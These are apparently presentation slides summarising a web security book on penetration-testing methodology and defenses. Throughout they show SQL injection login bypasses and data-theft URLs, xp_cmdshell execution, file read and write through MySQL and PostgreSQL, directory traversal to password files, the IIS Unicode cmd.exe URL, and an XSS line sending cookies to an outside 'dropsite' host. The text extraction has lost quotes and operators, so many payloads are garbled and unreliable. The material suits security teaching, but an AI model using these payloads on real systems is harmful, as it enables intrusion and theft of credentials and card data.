Title: HACKNOTES - Web Security
1HACKNOTES - Web Security
- Mike Shema
- McGraw-Hill/Osborne
2PART IHacking Techniques Defenses
- Web Hacking Penetration Methodologies
- Critical Hacks Defenses
31 Web Hacking Penetration Methodologies
- Threats and Vulnerabilities
- Profiling the Platform
- Profiling the Application
- Summary
4THREATS AND VULNERABILITIES
- Vulnerabilities
- The platform Linux, Windows, Apache, Oracle
- The application programming errors
- SQL injection
- Session hijacking
5PROFILING THE PLATFORM
- Web Server Apache, IIS, Netscape
- Application Server Tomcat Servlet, PHP, ASP.NET
- Database Oracle, MSSQL, DB2, Infomix, Sybase.
6Port Scanning and Service Identification
7Port Scanning and Service Identification
- Scanline fast but only perform SYN, ICMP and
UDP scans
8Port Scanning and Service Identification
openssl s_client connect website443 cipher
EXPORT40 openssl s_client connect website443
cipher NULL openssl s_client connect
website443 cipher HIGH
9Vulnerability scanning
10Platform profile checklist
- Identify the servers role
- Determine the operating system and version
- Determine the operating system and application
patch level - Scan for open ports
- Record the web server type, patch level, and
additional components - Research known vulnerabilities.
11PROFILING THE APPLICATION
- The next step is to profile the actual web site
by systematically cataloging all of its pages,
functions, and parameter. - To identify common problems such as poor input
validation, inadequate session handling, and
other programming errors.
12Enumerate the Directory Structure and Files
- Indexex, The easy part is going through the
application and recording each file name and its
full path from the web root. - Teleport, wget
- libwhiskers crawl function
13Identify Authentication Mechanism
Keep in mind that challenge/response
mechanisms dont protect passwords with 100
percent security
Anonymous No authentication required
HTTP Basic Username and password and passed in a header that is Base64 encoded of the type base64 (usernamepassword)
HTTP Digest Username and password are passed in a header that is and MD5 challenge/response.
HTTP NTLM Username and password use Windows credentials passed in a challenge/response format
Form-based Username and password are entered in a form. The user receives some token (cookie value, session ID, etc.) that indicate success.
14Identify Authorization Mechanism
- Identify Authorization Tokens
User URL
Matt https//website/index.php?idmattisadminfalsemenubasic
Allen https//website/index.php?idallenisadminfalsemenufull
George https//website/index.php?idgeorgeisadmintruemenubasic
Scott https//website/index.php?idscottisadmintruemenufull
- http//website/index.php?idallenisadminfalseme
nubasic - If the request succeeds, then the application is
vulnerable to - horizontal privilege escalation.
- http//website/index.php?idgeorgeisadminfalsem
enubasic - If the request doesnt receive administrator
right, then user impersonation still works, - but the server tracks authorization in a
parameter other than id. - Otherwise, the application performs the
authorization check based on the username, - is vulnerable to horizontal and privilege
escalation.
- http//website/index.php?idmattisadmintruemenu
full - if the request succeeds, then the application is
vulnerable to - vertical privilege escalation. The attack
required manipulating multiple tokens, - but the application still failed to enforce
strong authorization checks.
- http//website/index.php?idmattisadminfalsomen
ufull - if the request succeeds, then the application is
vulnerable to - vertical privilege escalation. The application
doesnt perform any authorization - checks after the user has authenticated.
- http//website/index.php?idmattisadmintruemenu
basic - If the request succeeds, then application is
vulnerable to vertical privilege escalation. - The application performs an authorization check
on the isadmin parameter and - provides functionality according to the a value.
15Protect Authorization
- The best defense is to track as many user
attributes on the server as possible. - Creating role-based access in a custom database
table increases application overhead and
maintenance however, the security requirements
of the application may require such a technique.
16Identify All Support Files
- style sheets (.css)
- IIS files that are interpreted by specific ISAPI
(internet server application programming
interface) filters, such as .htr, .htx, .idc ,
.ida and .idq. - passwd.txt global.asa
- Nikto will identify these common files, but only
in default locations.
17Identify All Include Files
- To identify an include file by search for the
Server Side Include (SSI) tag. - Virtual
- File
- PHP
- Log
lt!-- include virtual /html/include
/header.inc --gt
lt!-- include file include/header.inc --gt
18Protect Include Files
- Always use the languages file suffix instead of
.inc when naming include files. - If youre using ApacheASP, then you can either
rename the files to .asp or modify the httpd.conf
file - The ltFilesMatchgt trick
lt This line will not be visible if the file
suffix is .asp gt lt! This line will be visible
regardless of the file suffix --gt
19Enumerate All Forms
- The indicator of a form is the HTML ltformgt tag
how ever, the salient portions are the input
type definitions - Form-based authentication is also a primary
target for brute-force password-guessing attacks.
ltINPUT TYPEhidden NAMEsess_id VALUE
gt from APBoard ltINPUT TYPEhidden
NAMEpostit VALUETRUEgt ltINPUT TYPEhidden
NAMEinsertinto VALUE1gt ltINPUT TYPEhidden
NAMEBoardID VALUE1gt ltINPUT CLASSbutton
TYPEsumit NAMEnew_topic VALUEThema
postengt ltINPUT CLASSbutton TYPEsumit
NAMEprefiew_topic VALUEVorschaugt
20Enumerate All GET Parameters
- Many applications track variables through URL
parameters. The server sets these parameters
based on user permission level, a users action,
a session ID, or similar function. - This can point to the parameters function or its
relation to session tracking, or it can generate
informational errors. - Each GET parameter should also be tested for
input validation and SQL injection attacks
http//website/main.asp?menuviewprofile
viewprofile, user, welcome, admin, debug
21Protect Parameters
- If the application uses GET parameters to track
values then you might consider using POST request
more often. - The parameters to a POST request will not show up
in a browsers history file or bookmarks.
22Identify Vector forDirectory Attacks
- Directory attacks traversal and listing
- Applications that use templating techniques
- Typical attack
- NULL (00) character
- Try this to bypass scripts that check for file
extensions or automatically append characters to
file names.
- http//website/cgi-bin/bb-hostsvc.sh?HOSTSVCwww,w
ebsite,com.cpu - http//website/servlet/webacc?User.htmlindex
- http//website/ultraboard.pl?actionPrintableTopic
Post42
- ../../../../etc/passwd
- ../../conf/httpd.conf
- ../../../../boot.ini
- ../../../../winnt/repair/sam
../../etc/paswd00html
23Identify Areas that ProvideFile Upload Capability
- File upload introduces several threats to the
application - Malicious Content
- File Overwrite
- Denial of Service
24Identify Errors
- Two steps
- Simply try to generate some errors in the
application. - Identify what types of errors are generated on
the server and how they are displayed to user.
Inserting garbage characters deleting
parameters inserting punctuation
Did it return the servers default HTTP 500
message? Is it a customized error page? Does an
error return a custom page, but an HTTP 200
message? What information does the error
contain? Can you identify path information? What
about internal variables or references to other
files? Is the error related to SQL queries?
25Protect Error Messages
- Errors can be caught in two locations
- The web or application server
- Change the content of these pages so that it does
not include any server or application
information. - The application itself
- Make sure that the application has proper
error-handling routines that default to a simple,
innocuous error message.
26Determine Which PagesRequire SSL
- Replace all of the https// references with
http// and see if the application still serves
the page. - The server and application should be designed to
ensure that sensitive files are transmitted via
SSL.
27Applicatoin Profile Checklist
Step
Harvest the web site
Enumerate the directory structure and files
Identify authentication mechanism
Identify authorization mechanism
Identify all support files
Identify all include files (.inc, .js, global.asa)
Enumerate all forms (typehidden typepassword)
Enumerate all GET parameters (?name1value1)
Enumerate the effect of absent GET parameters (?name1value1)
Identify vectors for directory traversal attacks
Identify areas that provide file upload capability
Identify errors
Determine which pages require SSL
28SUMMARY
- In order to full vet the security of an
application, it must first be fully profiled. - This basically involves gathering as much
information about the platform and the
application. - A good profile of the application and knowledge
of SQL can turn an innocuous error into a severe
exploit.
292 Critical Hacks Defenses
- Generic Input Validation
- Character Encoding
- Alternate Request Methods
- SQL Injection
- Cross-site Scripting
- Token Analysis
- Session Attacks
- XML-Based Services
- Fundamental Application Defenses
- Input Validation
- Summary
30GENERIC INPUT VALIDATION
- Common input validation tests
Characters Characters URL Escape URL Escape Comments
NULL NULL (empty) (empty) Remove the parameter from URL or POST request. Use this to check error handling.
NULL NULL 00 00 Insert a NULL character within a parameter or at the end of a string. Use 00 to bypass file name-validation routines ( an application may allow a variable to contain NULL characters, but the underlying operating system uses the NULL to terminate a string).
Line Feed Carriage Return 0a 0d Use these for arbitrary command execution, command separation, and parsing errors.
7-bit maximum 8-bit maximum 7f ff Use these to test the applications handling of potential byte-field overflows.
Extended ASCII (value 0x80) Extended ASCII (value 0x80) c1 e1 c1 e1 Use these to test for potential wraparound errors. Add 0x80 (128) to any ASCII character and see what the application accepts and displays.
27 27 Use this to test for SQL injection vulnerabilities.
3b 3b Use this for command execution and command separation on Unix-based systems.
31GENERIC INPUT VALIDATION
- Common input validation tests (cont.)
Characters Characters Characters Characters Characters URL Escape URL Escape URL Escape URL Escape URL Escape Comments
7c 7c 7c 7c 7c Use this for command execution and execution and redirection on Unix-based systems.
26 2626 2626 2626 2626 Use this for command execution (background a process) on Unix-based systems. Double to windows systems.
( ) -- 28 29 2b 2d2d 3d Use these SQL statement components to craft SQL injection attacks
../ ../ ../ ../ ../ 2e2e2f 2e2e2f 2e2e2f 2e2e2f 2e2e2f Use this for directory traversal attacks.
ltscriptgt ltscriptgt ltscriptgt ltscriptgt ltscriptgt 3cscript3e 3cscript3e 3cscript3e 3cscript3e 3cscript3e Use this for cross-site scripting tests in fields that the application redisplays to the user.
Underflow Underflow Underflow Underflow Underflow Varies Varies Varies Varies Varies Enter too few characters for the field.
Overflow Overflow Overflow Overflow Overflow Varies Varies Varies Varies Varies Enter too many characters for the field.
32Common Vectors
Consider these vector as well
GET requests POST requests Session cookies Stateful cookies HTTP headers
User-Agent Host Content-Type Referer WebDAV options
Request portion Attack possibilities
GET What happens if the request is submitted with a POST? Get vs. GET What about other verbs? (PUT, DELETE, TRACE, etc.)
/menu.cgi /.(possible directory listing) /menu.cgi00 (possible source disclosure) /menu.cgi.bak
?foobar ?foobar Replace bar with any item
HTTP/1.1 HTTP/1.0 HTTP/2.0 (invalid protocol)
Host Host localhost Host aaaaaa (larget nubmer of letters)
Example input Validation attack vectors
33Source Disclosure
- Certain input validation attacks manipulate the
CGIs file name in order to cause its source to
be displayed in a users browser. - Java-based server engines seem to be most
vulnerable to this type of validation attack - /foo.jsP
- /foo.js70
- /3f.jsp (directory listing)
- /foo.aspDATA
- /foo.asp.html
34CHARACTER ENCODING
- URL Encoding (Escaped Characters)
- Unicode
Alphanumeric a-z A-Z 0-9
Reserved / ? _at_ ,
Marks - _ . ! ( )
Space 0x20
Delimiters lt gt
Unwise \
Mask 1 1 0 0 0 0 b7 b6 1 b6 b5 b4 b3 b2 b1 b0
---- first byte ------ ---- second byte
--- Example 0 0 1 0 1 1 1 1 (2F)
b7 b6 b5 b4 b3 b2 b1b0
------ one byte --------- Result 1 1 0 0 0 0 0
0(C0) 1 0 1 0 1 1 1 1(AF) In url c0af
Microsoft Bulletin MS00-0086
http//website/scripts/..c0af..c0afwinnt/system32/cmd.exe?/cdir
Parsed by IIS
http//website/scripts/../../winnt/system3/cmd.exe?/cdir
Recorded in IIS logs
/scripts/..À../winnt/system32/cmd.exe?/cdir
35Some Useful Unicode-Encoded Characters
Character ASCII Value Hex Unicode Representation (11) Unicode Multibyte Representations Unicode Representation (11) Unicode Multibyte Representations Unicode Representation (11) Unicode Multibyte Representations Unicode Representation (11) Unicode Multibyte Representations
/ 0x2F C02F C02F C0AF C0AF
\ 0x5C C05C C11C C11C C19C
lt 0x3C C03C C03C C0BC C0BC
gt 0x3E C03E C03E C0BE C0BE
' 0x27 C027 C027 C0A7 C0A7
( 0x28 C028 C028 C0A8 C0A8
) 0x29 C029 C029 C0A9 C0A9
, 0x2C C02C C02C C0AC C0AC
0x7C C07C C07C C0FC C0FC
0x2A C02A C02A C0AA C0AA
. 0x2E C02E C02E C0AE C0AE
36ALTERNATE REQUEST METHODS
- SPIKE proxy
- http//www.immunitysec.com/resources-freesoftware.
shtml - GET, POST, BROWSE, CONNECT, COPY, DELETE, HEAD,
LOCK, MKCOL, MOVE, OPTIONS, PROPFIND, RPOPPATCH,
PUT, SEARCH, TRACE, and UNLOCK.
37SQL INJECTION
URL HTTP.GetFromUser() user_id
URL.parameter(user_id) password
URL.parameter(password) query SELECT name
FROM userlist WHERE uid user_id AND
pwd password database.connect() resul
t databasae.execute(query) if
resule HTTP.Send(Login successful. Welcome,
result) IsAuthenticated true else
HTTP.Send(User ID or password is
incorrect.) isAuthenticated false end if if
IsAuthenticated HTTP.Send(MainMenu) end if
https//website/login.cgi?user_iddcooperpassword
diane
https//website/login.cgi?user_iddcooper20--
38SELECT Statement Manipulation
- https//website/login.cgi?user_iddcooperpassword
20OR203d - https//website/login.cgi?user_iddcooperpassword
foo20OR2013d1 - https//website/login.cgi?user_id20OR203d
password20OR203d - https//website/login.cgi?user_id25--
SELECt name FROM userlist WHERE uiddcooper AND
pwd OR
SELECT name FROM userlist WHERE uiddcooper AND
pwdfoo OR 11
SELECT name FROM userlist WHERE uid OR
AND pwd OR
SELECT name FROM userlist WHERE uid -- AND
pwd
39Retrieve Arbitrary Data with SELECT plus UNION
- SELECT value(s) FROM table WHERE clause_false
UNION ALL SELECT value(s) FROM other_table WHERE
clause_true
https//website/login.cgi?user_idfoopasswordU
NION ALLSELECTuid,pwdFROMuserlistWHERE3d
SELECT name FROM userlist WHERE uidfoo AND
pwd UNION ALL SELECT uid, pwd FROM userlist
WHERE
https//website/login.cgi?user_idfoopassword27
UNIONALL SELECTfirst5fname2clastfname2ccca
rdFROMstore WHERE27273d2727
SELECT name FROM userlist WHERE uidfoo AND
pwd UNION ALL SLEECT first_name,last_name,ccard
FROM store WHERE
SELECT name FROM userlist WHERE uidfoo AND
pwdbar UNION ALL SELECT first name, last name,
ccard FROM store WHERE 11
40Use INSERT to Modify Data
- INSERT INTO user (User,Password) VALUES
(albert,camus)
https//website/login.cgi?user_idpassword27I
NSERTINTOuserlist 28uid2cpassword29VALUES2
827albert272c27camus2729--
SELECT name FROM userlist WHERE uid AND
pwd INSERT INTO userlist (uid,password)
VALUES (albert,camus)--
41Salient Information for Common Databases
Server Default Accounts View Users Useful Variables
Microsoft SQL Server sa / ltblankgt EXEC master..sp_who2 EXEC master..xp_loginconfig SELECT FROM sysusers SELECT FROM syslogins EXEC xp_msver _at__at_servername _at__at_version
MySQL root / ltblankgt monty / some_pass Some SELECT host,user,password FROM user SHOW VARIABLES _at__at_version
Oracle internal / oracle oracle / oracle Scott / tiger sys / Change_on_install system / manager SELECT A.USERNAME, A.PASSWORD FROM SYS.DBA_USERS A SHOW PARAMETERS
PostgreSQL postgreSQL / ltlockedgt must be defined SELECT FROM pg_shadow SELECT FROM pg_group
42Common SQL Injection String
Raw String URL Encoded Version Effect
27 Initial test. If this generates an error, then the application is vulnerable to SQL injection.
25 2525 Represents a wildcard. Can be used to retrieve multiple rows as opposed to a single value.
-- -- 273b2d2d 3b2d2d SQL comment. Use this to truncate a statement so that further SQL syntax within the statement is ignored.
OR 2720OR27273d27 Creates a true statement.
OR11 OR13d1 20OR20120 20OR2013d20 Creates a true statement. User this when the query does not have single quote () delimiters.
foo) Foo29 May generate errors in Oracle-based applications.
43SQL Injection Countermeasures
- Use strongly typed variables and database column
definitions. - Assign query results to a strongly typed
variable. - Limit data lengths.
- Avoid creating queries via string concatenation.
- Apply data separation and role-based access
within the database.
http//website/votw/analysis.asp?voteid_at__at_version
Microsoft OLE DB Provider for SQL Server error
80040e57 Arithmetic overflow error converting
nvarchar to data type numeric. /vote/analysis.asp,
line 19
SELECT something FROM table WHERE varable
44Microsoft SQL Server
- Insert a single quote () into URL parameters and
then examine the output, HTML source, or even the
URL parameters for a tell-tale sign. - In addition to the slew of attacks that can be
performed against any SQL-based database, MSSQL
server contains a set of very powerful and
dangerous commands.
EXEC master.xp_cmdshell command
https//website/vuln.cgi?paramxp_cmdshellipco
nfig/all--
45High-Risk Stored Procedures in MSSQL
Stored Procedure Description
sp_validatelogins Enumerates users who may still access the database, but are no longer part of a group or domain known to the database
sp_who2 user Enumerates database user information. Note that these are users with access to SQL database itself. Application users must be gathered from the custom tables created for the application
xp_loginconfig Enumerates login information, login mode, and default user.
xp_msver Lists database version and operating system information.
xp_ntsec_enumdomains Enumerates domains present on the network
xp_regread ltrootkeygt,ltkeygt,ltvaluegt Reads a registry key from the Hive.
xp_servicecontrol ltactiongt,ltservicegt Performs an action (START or STOP) on a Windows service
xp_terminate_process ltPIDgt While it does not provide a simple method for identifying a process name, this can quickly lead to a denial of service.
46Useful Objects and Variables
Variables SELECT _at__at_variable
_at__at_language Name of the language currently in use.
_at__at_microsoftversion Numeric value that represents the version and patch level.
_at__at_servername Host name of the database.
_at__at_servicename Name of the Windows service under which the database is running
_at__at_version Date, version, and processor type. Use xp_msver to extract more information.
System Table Objects SELECT FROM table
Systemcolumns All column names and stored procedures within the database.
Sysfiles File name and path for the current database and its log file.
Sysobjects Every object contained in the database.
Systypes Default and user-defined data types.
Sysusers All users who can manipulate the database.
Master Database Tables SELECT FROM master..table
Sysconfigures Current database configuration settings.
Sysdevices Devices used for database, logs, and temporary files.
Syslogins Information for each user permitted to access the database.
Sysservers All peers that the server can access as an OLE database server.
47Oracle
Informational Oracle parameters
Parameter Description
control_files Example E\oracle\ora92\orcl\control01.ctl, E\oracle\ora92\orcl\control02.ctl, E\oracle\ora92\orcl\control03.ctl
db_name Example orcl
mts_service Example orcl
user_dump_dest E\oracle\admin\orcl\udump
utl_file_dir Default ltblankgt The default directory when writing files with the utl_file command.
show parameters control_files
CREATE DIRECTORY somedir AS /path/to/dir CREATE
TABLE foo (bar varchars2(20)) ORGANIZATION
EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY
somedir LOCATION (somefile.dat))
DECLARE fh UTL_FILE.FILE_TYPE BEGIN fh
UTL_FILE.fopen(/some/dir,file.name,W) --
wite UTL_FILE.PUTF(fh, somedata) UTL_FILE.FCLOSE(
fh) END
48MySQL Read from the File System
mysqlgt CREATE TABLE foo (bar TEXT) Query OK, 0
rows affected (0.02 sec) mysqlgt LOAD DATA INFILE
/etc/passwd INTO TABLE foo Query OK, 27 rows
affected (0.02 sec) Records 27 Deleted 0
Skipped 0 Warnings 0 mysqlgt SELECT FROM foo
bar ----------------------------------------------
----------------------- rootx00root/root/bin
/bash mikex500500mike/home/mike/bin/bash mys
qlx7878MySQL server/var/lib/mysql/bin/bash p
ostgresx7979system user/var/lib/pgsql/bin/ba
sh
https//website/vuln.cgi?param27CREATETABLEf
oo28barTEXT29 https//website/vuln.cgi?param
27LOADDATAINFILE272fetc2fpasswd27INTOT
ABLEfoo https//website/vuln.cgi?param27SELE
CT2aFROMfoo
49MySQL Write to the File System
Create a DoS By taking up disk space
SELECT FROM employees INTO OUTFILE /tmp/foo
https//website/vuln.cgi?param27SELECT2aFRO
M employeesINTOOUTFILE272ftmp/2f..0827
melnibone ls la /tmp drwxrwxrwx 8 root
root 4096 jan 16 1628 . drwxrwxrwx 19 root
adm 4096 jan 16 1403 .. drwxrwxrwx 1 mysql
mysql 1269 jan 16 1628 ..
melnibone ls la /tmp cat -tve drwxrwxrwx
8 root root 4096 jan 16 1628
./ drwxrwxrwx 19 root adm 4096 jan 16
1403 ../ drwxrwxrwx 1 mysql mysql 1269 jan
16 1628 ..H
50PostgreSQL File Read/Write Access with COPY
test CREATE TABLE foo (bar TEXT) CREATE test
COPY foo FROM /etc/passwd COPY test SELECT
FROM foo bar ----------------------------------
----------------------------------- rootx00roo
t/root/bin/bash mikex500500mike/home/mike/
bin/bash mysqlx7878MySQL server/var/lib/mysql
/bin/bash postgresx7979system
user/var/lib/pgsql/bin/bash (27 rows) test
COPY foo FROM /var/lib/pgsql/data/pg_hba.conf
COPY foo TO /var/lib/pgsql/data/pg_hba.conf COP
Y foo TO /tmp/table_data COPY pg_shadow TO
/tmp/foo
51MySQL PostgreSQL Protect the File System
- Running the application in a low-privilege
account. - Limits the exposure of important system
configuration files and binaries. - chroot or jail environments.
- Protect system files.
52Putting It Together
- Identify a vulnerable parameter. Test basic SQL
injection characters such a 00, 27, and 3b.
Examine errors for indicators of a SQL injection. - Examine errors for information on database,
table, and column names. - Query standard variable (version, file locations)
for the type of database. - Determine system-specific users.
- Determine database-specific users.
- Determine application-specific users.
- Query standard database objects (database,
tables, columns, stored procedures). - Record available databases, tables, columns, and
known row values. - Query arbitrary data from application tables.
- Use OR TRUETRUE commands to bypass
authentication. - Insert arbitrary data into standard database
tables. - Insert arbitrary data into application tables.
- Attempt to read and write files on the operating
system. - Execute arbitrary commands on the databases host
operating system - Send files to an FTP, HTTP, TFTP server or netcat
listener. - Write files to the web document root.
- Overwrite important configuration files.
- Denial of service (shutdown the database or host,
delete files, fill up disk space).
53CROSS-SITE SCRIPTING
ltscriptgtalert(Hello world!)lt/scriptgt
ltscriptgtalert(document.cookie)lt/scriptgt
ltscriptgtdocument.locationhttp//dropsite/cookiem
onster.cgi?document.cookielt/scriptgt
3cscript3edocument2ecookie3cscript3e
ltdiv stylebackground-imageurl(javascriptalert(
foo))gt ltimg srcjavascriptalert(foo)gt ltimg
dynsrcjavascriptalert(foo)gt
ltimg srcfoo altbar onmouseoverjavascripta
lert(foo)gt
54TOKEN ANALYSIS
55Finding Tokens
http//website8000/LOGINsessionid0nexthtml/ P
atronAutho.htmlbadhtml/PatronAutho.htmlentityla
nginit FALSEentitylangengentitynoPatronFALSE
http//website/default.asp?SESSIONID7BFDCECD1C-
835C-46A4-A20D-148AAF056E747D http//website/arti
cle.php3?sid20020303191829 http//website/cust.fl
?rqstcustomerservicesessguest
56Encode vs. Encrypted
Cookie SXNBZG1pbj1GYWxzZQ
57Encode vs. Encrypted
58Encode vs. Encrypted
ltinput typehidden nameccard
valueBLk1tCXYv6pEn2jqB6zorQgt
ltinput typehidden nameccard
value8mMbh5LUvwEBa3NJeOwdmggt
59Pattern analysis
60SESSION ATTACKS
Token Description Special Attacks
Incremental Value A counter used by the application to track something. this may be a current session, request number, reference to a temporary file, or other ephemeral. It may be numeric or a string. Varies.
Date and Timestamp A special case of incremental values. The timestamp always increases, regardless of new sessions and users. Most of the time it will consist of a long, numeric string or a 10-digit number if it is an epoch value. YYYYMMDDHHMMSSMMDDHHMMSS YYYY Revalidate an old session ID. Bypass forced timeouts.
Static Value A value that does not change regardless of session, user, or time. This could be as simple as a language identifier (1033 for U.S. English) or a specific flag used by the application. Input Validation.
Pseudorandom Value This is most likely the session token. Session hijacking.
Profile Information Look for values that the application has requested such as first name, list name, e-mail address, mailing address, phone number, age, birthday, etc. User impersonation. Access another users information (horizontal privilege escalation).
Server IP Address The server embeds its own IP address in the cookie. The address could be the public IP address or an internal one. Look for four bytes in network order (big endian) or low endian format. Also, check for hexadecimal and Base 64 equivalents. For example, 192.168.0.1 could be either 0x0C0A80001 or 0x00100A8C0. Network enumeration.
Client IP Address The client embeds its own IP address in the cookie. Look for four bytes in network order (big endian) or low endian format. Also, check for hexadecimal and Base 64 equivalents. For example, 192.168.0.1 could be either 0x0C0A80001 or 0x00100a8C0. Session hijakcing
Two-Byte numbers This may be a port number. Test the values to see Network enumeration.
61SESSION ATTACKS
- Horizontal privilege Escalation
- Vertical Privilege Escalation
- Attacking session management process
- Find the state carrier
- Decipher the state information
- Replay the state information
- Modify the state information
62User Impersonation
63Protect URL Parameters
64Brute-Force Password Guessing
65Password Protection
- Lock the account after a certain number of failed
logins - Re-authentication attempts should have a minimum
time between them - Concurrent logins should be restricted
- Inform the user that failed logins have occurred.
66Spoofing and Replay
http//website/bad.cgi?userfoosessid12345redh
erring
67Protect the Session
Token Creation Description
timestamp ID Insecure. The timestamp is trivial to modify and update to a vild window. A captured token may be replayed at any time.
3DES (timestamp ID) Secure. The application is able to decrypt the token in order to verify that the timestamp is within the valid window. A captured token may be replayed only within the time window. The token is vulnerable to an offline brute-force attack. For example, if the attacker determines the initial timestamp and session ID, then it would be possible to determine the secret key used by the application to decrypt the token.
3DES(secret timestamp ID) More secure. The addition of the secret or salt makes a successful brute-force attack more difficult because the attacker no longer has a known plaintext (timestamp ID) to target. The secret should be rotated on a periodic basic.
68Session Correlation
- Success
- Failure
- Error
- Explicit Failure
- Silent Failure
- Re-authenticate
- Success (Horizontal)
- Success (Vertical)
69XML-BASED SERVICES
lt?xml versoin1.0 encodingUTF-8
?gt ltdefinitions nameSecureContextEstablishmentDe
finition targetNamespacehttp//someplace/authent
ication xmlns http//schemas.xmlsoap.org/wsdl/
xmlnsauth-bindings http//someplace/authenticat
ion/authentication_bindings xmlnssoaphttp//sc
hemas.xmlsoap.org/wsdl/soap/gt ltimport
location../security/authentication/bindings.wsdl
namespacehttp//someplace/authentication/ auth
entication_bindings /gt ltservice
nameSecureContextEstablishmentServicegt ltdocumen
tationgtService used to establish a security
context lt/documentationgt ltport
bindingauth-bindings SecureContextEstablishmen
tSOAPBinding name SecurityContextEstablishment
Portgt ltsoapaddress locationhttp//localhost8
080/services/gt lt/portgt lt/servicegt lt/definitionsgt
70Attacking XML
POST /foo/ViewProfile HTTP/1.0 Content-Type
text/xml Content-length 95 lt?xml
version1.0?gt ltGetProfilegt ltProfileNamegtMorgainn
elt/ProfileNamegt ltparams/gt lt/Getprofilegt
71FUNDAMENTAL APPLICATION DEFENSES
72INPUT VALIDATION
73INPUT VALIDATION Perl Regex
74INPUT VALIDATION .NET Regex Token
75Directory Traversal and File Handling
76Output Validation
77SUMMARY